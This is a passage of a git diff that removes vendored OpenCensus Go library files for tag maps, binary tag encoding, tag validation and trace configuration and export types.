distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package tag - -// Key represents a tag key. -type Key struct { - name string -} - -// NewKey creates or retrieves a string key identified by name. -// Calling NewKey consequently with the same name returns the same key. -func NewKey(name string) (Key, error) { - if !checkKeyName(name) { - return Key{}, errInvalidKeyName - } - return Key{name: name}, nil -} - -// MustNewKey creates or retrieves a string key identified by name. -// An invalid key name raises a panic. -func MustNewKey(name string) Key { - k, err := NewKey(name) - if err != nil { - panic(err) - } - return k -} - -// Name returns the name of the key. -func (k Key) Name() string { - return k.name -} diff --git a/vendor/go.opencensus.io/tag/map.go b/vendor/go.opencensus.io/tag/map.go deleted file mode 100644 index 0272ef85a4..0000000000 --- a/vendor/go.opencensus.io/tag/map.go +++ /dev/null @@ -1,229 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package tag - -import ( - "bytes" - "context" - "fmt" - "sort" -) - -// Tag is a key value pair that can be propagated on wire. -type Tag struct { - Key Key - Value string -} - -type tagContent struct { - value string - m metadatas -} - -// Map is a map of tags. Use New to create a context containing -// a new Map. -type Map struct { - m map[Key]tagContent -} - -// Value returns the value for the key if a value for the key exists. -func (m *Map) Value(k Key) (string, bool) { - if m == nil { - return "", false - } - v, ok := m.m[k] - return v.value, ok -} - -func (m *Map) String() string { - if m == nil { - return "nil" - } - keys := make([]Key, 0, len(m.m)) - for k := range m.m { - keys = append(keys, k) - } - sort.Slice(keys, func(i, j int) bool { return keys[i].Name() < keys[j].Name() }) - - var buffer bytes.Buffer - buffer.WriteString("{ ") - for _, k := range keys { - buffer.WriteString(fmt.Sprintf("{%v %v}", k.name, m.m[k])) - } - buffer.WriteString(" }") - return buffer.String() -} - -func (m *Map) insert(k Key, v string, md metadatas) { - if _, ok := m.m[k]; ok { - return - } - m.m[k] = tagContent{value: v, m: md} -} - -func (m *Map) update(k Key, v string, md metadatas) { - if _, ok := m.m[k]; ok { - m.m[k] = tagContent{value: v, m: md} - } -} - -func (m *Map) upsert(k Key, v string, md metadatas) { - m.m[k] = tagContent{value: v, m: md} -} - -func (m *Map) delete(k Key) { - delete(m.m, k) -} - -func newMap() *Map { - return &Map{m: make(map[Key]tagContent)} -} - -// Mutator modifies a tag map. -type Mutator interface { - Mutate(t *Map) (*Map, error) -} - -// Insert returns a mutator that inserts a -// value associated with k. If k already exists in the tag map, -// mutator doesn't update the value. -// Metadata applies metadata to the tag. It is optional. -// Metadatas are applied in the order in which it is provided. -// If more than one metadata updates the same attribute then -// the update from the last metadata prevails. -func Insert(k Key, v string, mds ...Metadata) Mutator { - return &mutator{ - fn: func(m *Map) (*Map, error) { - if !checkValue(v) { - return nil, errInvalidValue - } - m.insert(k, v, createMetadatas(mds...)) - return m, nil - }, - } -} - -// Update returns a mutator that updates the -// value of the tag associated with k with v. If k doesn't -// exists in the tag map, the mutator doesn't insert the value. -// Metadata applies metadata to the tag. It is optional. -// Metadatas are applied in the order in which it is provided. -// If more than one metadata updates the same attribute then -// the update from the last metadata prevails. -func Update(k Key, v string, mds ...Metadata) Mutator { - return &mutator{ - fn: func(m *Map) (*Map, error) { - if !checkValue(v) { - return nil, errInvalidValue - } - m.update(k, v, createMetadatas(mds...)) - return m, nil - }, - } -} - -// Upsert returns a mutator that upserts the -// value of the tag associated with k with v. It inserts the -// value if k doesn't exist already. It mutates the value -// if k already exists. -// Metadata applies metadata to the tag. It is optional. -// Metadatas are applied in the order in which it is provided. -// If more than one metadata updates the same attribute then -// the update from the last metadata prevails. -func Upsert(k Key, v string, mds ...Metadata) Mutator { - return &mutator{ - fn: func(m *Map) (*Map, error) { - if !checkValue(v) { - return nil, errInvalidValue - } - m.upsert(k, v, createMetadatas(mds...)) - return m, nil - }, - } -} - -func createMetadatas(mds ...Metadata) metadatas { - var metas metadatas - if len(mds) > 0 { - for _, md := range mds { - if md != nil { - md(&metas) - } - } - } else { - WithTTL(TTLUnlimitedPropagation)(&metas) - } - return metas - -} - -// Delete returns a mutator that deletes -// the value associated with k. -func Delete(k Key) Mutator { - return &mutator{ - fn: func(m *Map) (*Map, error) { - m.delete(k) - return m, nil - }, - } -} - -// New returns a new context that contains a tag map -// originated from the incoming context and modified -// with the provided mutators. -func New(ctx context.Context, mutator ...Mutator) (context.Context, error) { - m := newMap() - orig := FromContext(ctx) - if orig != nil { - for k, v := range orig.m { - if !checkKeyName(k.Name()) { - return ctx, fmt.Errorf("key:%q: %v", k, errInvalidKeyName) - } - if !checkValue(v.value) { - return ctx, fmt.Errorf("key:%q value:%q: %v", k.Name(), v, errInvalidValue) - } - m.insert(k, v.value, v.m) - } - } - var err error - for _, mod := range mutator { - m, err = mod.Mutate(m) - if err != nil { - return ctx, err - } - } - return NewContext(ctx, m), nil -} - -// Do is similar to pprof.Do: a convenience for installing the tags -// from the context as Go profiler labels. This allows you to -// correlated runtime profiling with stats. -// -// It converts the key/values from the given map to Go profiler labels -// and calls pprof.Do. -// -// Do is going to do nothing if your Go version is below 1.9. -func Do(ctx context.Context, f func(ctx context.Context)) { - do(ctx, f) -} - -type mutator struct { - fn func(t *Map) (*Map, error) -} - -func (m *mutator) Mutate(t *Map) (*Map, error) { - return m.fn(t) -} diff --git a/vendor/go.opencensus.io/tag/map_codec.go b/vendor/go.opencensus.io/tag/map_codec.go deleted file mode 100644 index f8b5827615..0000000000 --- a/vendor/go.opencensus.io/tag/map_codec.go +++ /dev/null @@ -1,239 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package tag - -import ( - "encoding/binary" - "fmt" -) - -// KeyType defines the types of keys allowed. Currently only keyTypeString is -// supported. -type keyType byte - -const ( - keyTypeString keyType = iota - keyTypeInt64 - keyTypeTrue - keyTypeFalse - - tagsVersionID = byte(0) -) - -type encoderGRPC struct { - buf []byte - writeIdx, readIdx int -} - -// writeKeyString writes the fieldID '0' followed by the key string and value -// string. -func (eg *encoderGRPC) writeTagString(k, v string) { - eg.writeByte(byte(keyTypeString)) - eg.writeStringWithVarintLen(k) - eg.writeStringWithVarintLen(v) -} - -func (eg *encoderGRPC) writeTagUint64(k string, i uint64) { - eg.writeByte(byte(keyTypeInt64)) - eg.writeStringWithVarintLen(k) - eg.writeUint64(i) -} - -func (eg *encoderGRPC) writeTagTrue(k string) { - eg.writeByte(byte(keyTypeTrue)) - eg.writeStringWithVarintLen(k) -} - -func (eg *encoderGRPC) writeTagFalse(k string) { - eg.writeByte(byte(keyTypeFalse)) - eg.writeStringWithVarintLen(k) -} - -func (eg *encoderGRPC) writeBytesWithVarintLen(bytes []byte) { - length := len(bytes) - - eg.growIfRequired(binary.MaxVarintLen64 + length) - eg.writeIdx += binary.PutUvarint(eg.buf[eg.writeIdx:], uint64(length)) - copy(eg.buf[eg.writeIdx:], bytes) - eg.writeIdx += length -} - -func (eg *encoderGRPC) writeStringWithVarintLen(s string) { - length := len(s) - - eg.growIfRequired(binary.MaxVarintLen64 + length) - eg.writeIdx += binary.PutUvarint(eg.buf[eg.writeIdx:], uint64(length)) - copy(eg.buf[eg.writeIdx:], s) - eg.writeIdx += length -} - -func (eg *encoderGRPC) writeByte(v byte) { - eg.growIfRequired(1) - eg.buf[eg.writeIdx] = v - eg.writeIdx++ -} - -func (eg *encoderGRPC) writeUint32(i uint32) { - eg.growIfRequired(4) - binary.LittleEndian.PutUint32(eg.buf[eg.writeIdx:], i) - eg.writeIdx += 4 -} - -func (eg *encoderGRPC) writeUint64(i uint64) { - eg.growIfRequired(8) - binary.LittleEndian.PutUint64(eg.buf[eg.writeIdx:], i) - eg.writeIdx += 8 -} - -func (eg *encoderGRPC) readByte() byte { - b := eg.buf[eg.readIdx] - eg.readIdx++ - return b -} - -func (eg *encoderGRPC) readUint32() uint32 { - i := binary.LittleEndian.Uint32(eg.buf[eg.readIdx:]) - eg.readIdx += 4 - return i -} - -func (eg *encoderGRPC) readUint64() uint64 { - i := binary.LittleEndian.Uint64(eg.buf[eg.readIdx:]) - eg.readIdx += 8 - return i -} - -func (eg *encoderGRPC) readBytesWithVarintLen() ([]byte, error) { - if eg.readEnded() { - return nil, fmt.Errorf("unexpected end while readBytesWithVarintLen '%x' starting at idx '%v'", eg.buf, eg.readIdx) - } - length, valueStart := binary.Uvarint(eg.buf[eg.readIdx:]) - if valueStart <= 0 { - return nil, fmt.Errorf("unexpected end while readBytesWithVarintLen '%x' starting at idx '%v'", eg.buf, eg.readIdx) - } - - valueStart += eg.readIdx - valueEnd := valueStart + int(length) - if valueEnd > len(eg.buf) { - return nil, fmt.Errorf("malformed encoding: length:%v, upper:%v, maxLength:%v", length, valueEnd, len(eg.buf)) - } - - eg.readIdx = valueEnd - return eg.buf[valueStart:valueEnd], nil -} - -func (eg *encoderGRPC) readStringWithVarintLen() (string, error) { - bytes, err := eg.readBytesWithVarintLen() - if err != nil { - return "", err - } - return string(bytes), nil -} - -func (eg *encoderGRPC) growIfRequired(expected int) { - if len(eg.buf)-eg.writeIdx < expected { - tmp := make([]byte, 2*(len(eg.buf)+1)+expected) - copy(tmp, eg.buf) - eg.buf = tmp - } -} - -func (eg *encoderGRPC) readEnded() bool { - return eg.readIdx >= len(eg.buf) -} - -func (eg *encoderGRPC) bytes() []byte { - return eg.buf[:eg.writeIdx] -} - -// Encode encodes the tag map into a []byte. It is useful to propagate -// the tag maps on wire in binary format. -func Encode(m *Map) []byte { - if m == nil { - return nil - } - eg := &encoderGRPC{ - buf: make([]byte, len(m.m)), - } - eg.writeByte(byte(tagsVersionID)) - for k, v := range m.m { - if v.m.ttl.ttl == valueTTLUnlimitedPropagation { - eg.writeByte(byte(keyTypeString)) - eg.writeStringWithVarintLen(k.name) - eg.writeBytesWithVarintLen([]byte(v.value)) - } - } - return eg.bytes() -} - -// Decode decodes the given []byte into a tag map. -func Decode(bytes []byte) (*Map, error) { - ts := newMap() - err := DecodeEach(bytes, ts.upsert) - if err != nil { - // no partial failures - return nil, err - } - return ts, nil -} - -// DecodeEach decodes the given serialized tag map, calling handler for each -// tag key and value decoded. -func DecodeEach(bytes []byte, fn func(key Key, val string, md metadatas)) error { - eg := &encoderGRPC{ - buf: bytes, - } - if len(eg.buf) == 0 { - return nil - } - - version := eg.readByte() - if version > tagsVersionID { - return fmt.Errorf("cannot decode: unsupported version: %q; supports only up to: %q", version, tagsVersionID) - } - - for !eg.readEnded() { - typ := keyType(eg.readByte()) - - if typ != keyTypeString { - return fmt.Errorf("cannot decode: invalid key type: %q", typ) - } - - k, err := eg.readBytesWithVarintLen() - if err != nil { - return err - } - - v, err := eg.readBytesWithVarintLen() - if err != nil { - return err - } - - key, err := NewKey(string(k)) - if err != nil { - return err - } - val := string(v) - if !checkValue(val) { - return errInvalidValue - } - fn(key, val, createMetadatas(WithTTL(TTLUnlimitedPropagation))) - if err != nil { - return err - } - } - return nil -} diff --git a/vendor/go.opencensus.io/tag/metadata.go b/vendor/go.opencensus.io/tag/metadata.go deleted file mode 100644 index 6571a583ea..0000000000 --- a/vendor/go.opencensus.io/tag/metadata.go +++ /dev/null @@ -1,52 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package tag - -const ( - // valueTTLNoPropagation prevents tag from propagating. - valueTTLNoPropagation = 0 - - // valueTTLUnlimitedPropagation allows tag to propagate without any limits on number of hops. - valueTTLUnlimitedPropagation = -1 -) - -// TTL is metadata that specifies number of hops a tag can propagate. -// Details about TTL metadata is specified at https://github.com/census-instrumentation/opencensus-specs/blob/master/tags/TagMap.md#tagmetadata -type TTL struct { - ttl int -} - -var ( - // TTLUnlimitedPropagation is TTL metadata that allows tag to propagate without any limits on number of hops. - TTLUnlimitedPropagation = TTL{ttl: valueTTLUnlimitedPropagation} - - // TTLNoPropagation is TTL metadata that prevents tag from propagating. - TTLNoPropagation = TTL{ttl: valueTTLNoPropagation} -) - -type metadatas struct { - ttl TTL -} - -// Metadata applies metadatas specified by the function. -type Metadata func(*metadatas) - -// WithTTL applies metadata with provided ttl. -func WithTTL(ttl TTL) Metadata { - return func(m *metadatas) { - m.ttl = ttl - } -} diff --git a/vendor/go.opencensus.io/tag/profile_19.go b/vendor/go.opencensus.io/tag/profile_19.go deleted file mode 100644 index b34d95e34a..0000000000 --- a/vendor/go.opencensus.io/tag/profile_19.go +++ /dev/null @@ -1,31 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build go1.9 - -package tag - -import ( - "context" - "runtime/pprof" -) - -func do(ctx context.Context, f func(ctx context.Context)) { - m := FromContext(ctx) - keyvals := make([]string, 0, 2*len(m.m)) - for k, v := range m.m { - keyvals = append(keyvals, k.Name(), v.value) - } - pprof.Do(ctx, pprof.Labels(keyvals...), f) -} diff --git a/vendor/go.opencensus.io/tag/profile_not19.go b/vendor/go.opencensus.io/tag/profile_not19.go deleted file mode 100644 index 83adbce56b..0000000000 --- a/vendor/go.opencensus.io/tag/profile_not19.go +++ /dev/null @@ -1,23 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build !go1.9 - -package tag - -import "context" - -func do(ctx context.Context, f func(ctx context.Context)) { - f(ctx) -} diff --git a/vendor/go.opencensus.io/tag/validate.go b/vendor/go.opencensus.io/tag/validate.go deleted file mode 100644 index 0939fc6748..0000000000 --- a/vendor/go.opencensus.io/tag/validate.go +++ /dev/null @@ -1,56 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package tag - -import "errors" - -const ( - maxKeyLength = 255 - - // valid are restricted to US-ASCII subset (range 0x20 (' ') to 0x7e ('~')). - validKeyValueMin = 32 - validKeyValueMax = 126 -) - -var ( - errInvalidKeyName = errors.New("invalid key name: only ASCII characters accepted; max length must be 255 characters") - errInvalidValue = errors.New("invalid value: only ASCII characters accepted; max length must be 255 characters") -) - -func checkKeyName(name string) bool { - if len(name) == 0 { - return false - } - if len(name) > maxKeyLength { - return false - } - return isASCII(name) -} - -func isASCII(s string) bool { - for _, c := range s { - if (c < validKeyValueMin) || (c > validKeyValueMax) { - return false - } - } - return true -} - -func checkValue(v string) bool { - if len(v) > maxKeyLength { - return false - } - return isASCII(v) -} diff --git a/vendor/go.opencensus.io/trace/basetypes.go b/vendor/go.opencensus.io/trace/basetypes.go deleted file mode 100644 index 0c54492a2b..0000000000 --- a/vendor/go.opencensus.io/trace/basetypes.go +++ /dev/null @@ -1,119 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "fmt" - "time" -) - -type ( - // TraceID is a 16-byte identifier for a set of spans. - TraceID [16]byte - - // SpanID is an 8-byte identifier for a single span. - SpanID [8]byte -) - -func (t TraceID) String() string { - return fmt.Sprintf("%02x", t[:]) -} - -func (s SpanID) String() string { - return fmt.Sprintf("%02x", s[:]) -} - -// Annotation represents a text annotation with a set of attributes and a timestamp. -type Annotation struct { - Time time.Time - Message string - Attributes map[string]interface{} -} - -// Attribute represents a key-value pair on a span, link or annotation. -// Construct with one of: BoolAttribute, Int64Attribute, or StringAttribute. -type Attribute struct { - key string - value interface{} -} - -// BoolAttribute returns a bool-valued attribute. -func BoolAttribute(key string, value bool) Attribute { - return Attribute{key: key, value: value} -} - -// Int64Attribute returns an int64-valued attribute. -func Int64Attribute(key string, value int64) Attribute { - return Attribute{key: key, value: value} -} - -// Float64Attribute returns a float64-valued attribute. -func Float64Attribute(key string, value float64) Attribute { - return Attribute{key: key, value: value} -} - -// StringAttribute returns a string-valued attribute. -func StringAttribute(key string, value string) Attribute { - return Attribute{key: key, value: value} -} - -// LinkType specifies the relationship between the span that had the link -// added, and the linked span. -type LinkType int32 - -// LinkType values. -const ( - LinkTypeUnspecified LinkType = iota // The relationship of the two spans is unknown. - LinkTypeChild // The linked span is a child of the current span. - LinkTypeParent // The linked span is the parent of the current span. -) - -// Link represents a reference from one span to another span. -type Link struct { - TraceID TraceID - SpanID SpanID - Type LinkType - // Attributes is a set of attributes on the link. - Attributes map[string]interface{} -} - -// MessageEventType specifies the type of message event. -type MessageEventType int32 - -// MessageEventType values. -const ( - MessageEventTypeUnspecified MessageEventType = iota // Unknown event type. - MessageEventTypeSent // Indicates a sent RPC message. - MessageEventTypeRecv // Indicates a received RPC message. -) - -// MessageEvent represents an event describing a message sent or received on the network. -type MessageEvent struct { - Time time.Time - EventType MessageEventType - MessageID int64 - UncompressedByteSize int64 - CompressedByteSize int64 -} - -// Status is the status of a Span. -type Status struct { - // Code is a status code. Zero indicates success. - // - // If Code will be propagated to Google APIs, it ideally should be a value from - // https://github.com/googleapis/googleapis/blob/master/google/rpc/code.proto . - Code int32 - Message string -} diff --git a/vendor/go.opencensus.io/trace/config.go b/vendor/go.opencensus.io/trace/config.go deleted file mode 100644 index 775f8274fa..0000000000 --- a/vendor/go.opencensus.io/trace/config.go +++ /dev/null @@ -1,86 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "sync" - - "go.opencensus.io/trace/internal" -) - -// Config represents the global tracing configuration. -type Config struct { - // DefaultSampler is the default sampler used when creating new spans. - DefaultSampler Sampler - - // IDGenerator is for internal use only. - IDGenerator internal.IDGenerator - - // MaxAnnotationEventsPerSpan is max number of annotation events per span - MaxAnnotationEventsPerSpan int - - // MaxMessageEventsPerSpan is max number of message events per span - MaxMessageEventsPerSpan int - - // MaxAnnotationEventsPerSpan is max number of attributes per span - MaxAttributesPerSpan int - - // MaxLinksPerSpan is max number of links per span - MaxLinksPerSpan int -} - -var configWriteMu sync.Mutex - -const ( - // DefaultMaxAnnotationEventsPerSpan is default max number of annotation events per span - DefaultMaxAnnotationEventsPerSpan = 32 - - // DefaultMaxMessageEventsPerSpan is default max number of message events per span - DefaultMaxMessageEventsPerSpan = 128 - - // DefaultMaxAttributesPerSpan is default max number of attributes per span - DefaultMaxAttributesPerSpan = 32 - - // DefaultMaxLinksPerSpan is default max number of links per span - DefaultMaxLinksPerSpan = 32 -) - -// ApplyConfig applies changes to the global tracing configuration. -// -// Fields not provided in the given config are going to be preserved. -func ApplyConfig(cfg Config) { - configWriteMu.Lock() - defer configWriteMu.Unlock() - c := *config.Load().(*Config) - if cfg.DefaultSampler != nil { - c.DefaultSampler = cfg.DefaultSampler - } - if cfg.IDGenerator != nil { - c.IDGenerator = cfg.IDGenerator - } - if cfg.MaxAnnotationEventsPerSpan > 0 { - c.MaxAnnotationEventsPerSpan = cfg.MaxAnnotationEventsPerSpan - } - if cfg.MaxMessageEventsPerSpan > 0 { - c.MaxMessageEventsPerSpan = cfg.MaxMessageEventsPerSpan - } - if cfg.MaxAttributesPerSpan > 0 { - c.MaxAttributesPerSpan = cfg.MaxAttributesPerSpan - } - if cfg.MaxLinksPerSpan > 0 { - c.MaxLinksPerSpan = cfg.MaxLinksPerSpan - } - config.Store(&c) -} diff --git a/vendor/go.opencensus.io/trace/doc.go b/vendor/go.opencensus.io/trace/doc.go deleted file mode 100644 index 04b1ee4f38..0000000000 --- a/vendor/go.opencensus.io/trace/doc.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -/* -Package trace contains support for OpenCensus distributed tracing. - -The following assumes a basic familiarity with OpenCensus concepts. -See http://opencensus.io - - -Exporting Traces - -To export collected tracing data, register at least one exporter. You can use -one of the provided exporters or write your own. - - trace.RegisterExporter(exporter) - -By default, traces will be sampled relatively rarely. To change the sampling -frequency for your entire program, call ApplyConfig. Use a ProbabilitySampler -to sample a subset of traces, or use AlwaysSample to collect a trace on every run: - - trace.ApplyConfig(trace.Config{DefaultSampler: trace.AlwaysSample()}) - -Be careful about using trace.AlwaysSample in a production application with -significant traffic: a new trace will be started and exported for every request. - -Adding Spans to a Trace - -A trace consists of a tree of spans. In Go, the current span is carried in a -context.Context. - -It is common to want to capture all the activity of a function call in a span. For -this to work, the function must take a context.Context as a parameter. Add these two -lines to the top of the function: - - ctx, span := trace.StartSpan(ctx, "example.com/Run") - defer span.End() - -StartSpan will create a new top-level span if the context -doesn't contain another span, otherwise it will create a child span. -*/ -package trace // import "go.opencensus.io/trace" diff --git a/vendor/go.opencensus.io/trace/evictedqueue.go b/vendor/go.opencensus.io/trace/evictedqueue.go deleted file mode 100644 index ffc264f23d..0000000000 --- a/vendor/go.opencensus.io/trace/evictedqueue.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -type evictedQueue struct { - queue []interface{} - capacity int - droppedCount int -} - -func newEvictedQueue(capacity int) *evictedQueue { - eq := &evictedQueue{ - capacity: capacity, - queue: make([]interface{}, 0), - } - - return eq -} - -func (eq *evictedQueue) add(value interface{}) { - if len(eq.queue) == eq.capacity { - eq.queue = eq.queue[1:] - eq.droppedCount++ - } - eq.queue = append(eq.queue, value) -} diff --git a/vendor/go.opencensus.io/trace/export.go b/vendor/go.opencensus.io/trace/export.go deleted file mode 100644 index e0d9a4b99e..0000000000 --- a/vendor/go.opencensus.io/trace/export.go +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "sync" - "sync/atomic" - "time" -) - -// Exporter is a type for functions that receive sampled trace spans. -// -// The ExportSpan method should be safe for concurrent use and should return -// quickly; if an Exporter takes a significant amount of time to process a -// SpanData, that work should be done on another goroutine. -// -// The SpanData should not be modified, but a pointer to it can be kept. -type Exporter interface { - ExportSpan(s *SpanData) -} - -type exportersMap map[Exporter]struct{} - -var ( - exporterMu sync.Mutex - exporters atomic.Value -) - -// RegisterExporter adds to the list of Exporters that will receive sampled -// trace spans. -// -// Binaries can register exporters, libraries shouldn't register exporters. -func RegisterExporter(e Exporter) { - exporterMu.Lock() - new := make(exportersMap) - if old, ok := exporters.Load().(exportersMap); ok { - for k, v := range old { - new[k] = v - } - } - new[e] = struct{}{} - exporters.Store(new) - exporterMu.Unlock() -} - -// UnregisterExporter removes from the list of Exporters the Exporter that was -// registered with the given name. -func UnregisterExporter(e Exporter) { - exporterMu.Lock() - new := make(exportersMap) - if old, ok := exporters.Load().(exportersMap); ok { - for k, v := range old { - new[k] = v - } - } - delete(new, e) - exporters.Store(new) - exporterMu.Unlock() -} - -// SpanData contains all the information collected by a Span. -type SpanData struct { - SpanContext - ParentSpanID SpanID - SpanKind int - Name string - StartTime time.Time - // The wall clock time of EndTime will be adjusted to always be offset - // from StartTime by the duration of the span. - EndTime time.Time - // The values of Attributes each have type string, bool, or int64. - Attributes map[string]interface{} - Annotations []Annotation - MessageEvents []MessageEvent - Status - Links []Link - HasRemoteParent bool - DroppedAttributeCount int - DroppedAnnotationCount int - DroppedMessageEventCount int - DroppedLinkCount int - - // ChildSpanCount holds the number of child span created for this span. - ChildSpanCount int -} diff --git a/vendor/go.opencensus.io/trace/internal/internal.go b/vendor/go.opencensus.io/trace/internal/internal.go deleted file mode 100644 index 7e808d8f30..0000000000 --- a/vendor/go.opencensus.io/trace/internal/internal.go +++ /dev/null @@ -1,22 +0,0 @@ -// Copyright 2018, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package internal provides trace internals. -package internal - -// IDGenerator allows custom generators for TraceId and SpanId. -type IDGenerator interface { - NewTraceID() [16]byte - NewSpanID() [8]byte -} diff --git a/vendor/go.opencensus.io/trace/lrumap.go b/vendor/go.opencensus.io/trace/lrumap.go deleted file mode 100644 index 3f80a33681..0000000000 --- a/vendor/go.opencensus.io/trace/lrumap.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "github.com/hashicorp/golang-lru/simplelru" -) - -type lruMap struct { - simpleLruMap *simplelru.LRU - droppedCount int -} - -func newLruMap(size int) *lruMap { - lm := &lruMap{} - lm.simpleLruMap, _ = simplelru.NewLRU(size, nil) - return lm -} - -func (lm *lruMap) add(key, value interface{}) { - evicted := lm.simpleLruMap.Add(key, value) - if evicted { - lm.droppedCount++ - } -} diff --git a/vendor/go.opencensus.io/trace/propagation/propagation.go b/vendor/go.opencensus.io/trace/propagation/propagation.go deleted file mode 100644 index 1eb190a96a..0000000000 --- a/vendor/go.opencensus.io/trace/propagation/propagation.go +++ /dev/null @@ -1,108 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package propagation implements the binary trace context format. -package propagation // import "go.opencensus.io/trace/propagation" - -// TODO: link to external spec document. - -// BinaryFormat format: -// -// Binary value: -// version_id: 1 byte 